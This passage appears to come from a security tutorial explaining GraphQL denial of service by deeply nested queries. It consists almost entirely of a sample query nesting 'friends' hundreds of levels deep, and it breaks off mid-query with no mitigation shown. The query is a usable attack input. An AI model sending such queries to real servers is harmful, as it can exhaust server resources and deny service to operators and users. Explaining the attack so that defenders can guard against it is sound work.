GraphQL servers can be brought to their knees by deeply nested or overly complex queries, leading to denial of service.
Let’s see this in action. Imagine a client sending this query:
query DeepNesting {
user(id: "123") {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {